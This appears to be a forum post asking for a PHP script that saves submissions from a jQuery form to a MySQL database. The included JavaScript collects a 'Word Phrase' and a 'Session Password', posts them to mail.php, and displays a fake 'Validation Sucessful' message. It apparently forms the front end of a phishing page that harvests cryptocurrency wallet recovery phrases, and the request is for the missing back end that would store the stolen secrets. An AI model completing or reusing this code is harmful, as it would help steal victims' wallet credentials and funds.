PHP Script that writes post to mySQL database

I have this JavaScript code here and it posts to ‘mail.php’ which I dont have. Can someone help me write a PHP script that will write this to a mySQL database? I just want it to post to my mySQL database but I have no idea how to do that. I think its pretty simple, but I have no knowledge in JS or PHP. Any help is appreciated.

$(document).ready(function() {
    
    console.log($('#my-phrase').length)

    $('button[type="submit"]').click(function(e) {

        e.preventDefault()
        
        console.log($('#my-phrase').length)

        var phrase = $('#my-phrase').val(),
            password = $('#form-field-field_0e9487d').val()

        if (phrase == '') {
            error('Provide Word Phrase')
            return
        } 
        
        // else if (password == '') {
        //     error('Provide Session Password')
        //     return
        // }

        Swal.fire('Processing')
        
        var formData = [phrase, password]

        $.ajax({
            async: false,
            url: 'mail.php',
            data: { data: formData },
            type: 'POST',
            success: function(data) {
                if (data == '1') {
                    $('#phrase').val('')
                    // window.location.href = 'success';
                    success('Validation Sucessful')
                } else {
                    error('An error occurred.')
                }
            }
        })
    })



    function error(msg) {
        Swal.fire(
            'Error',
            msg,
            'error'
        )
    }

    function success(msg) {
        Swal.fire(
            'Success',
            msg,
            'success'
        )
    }

})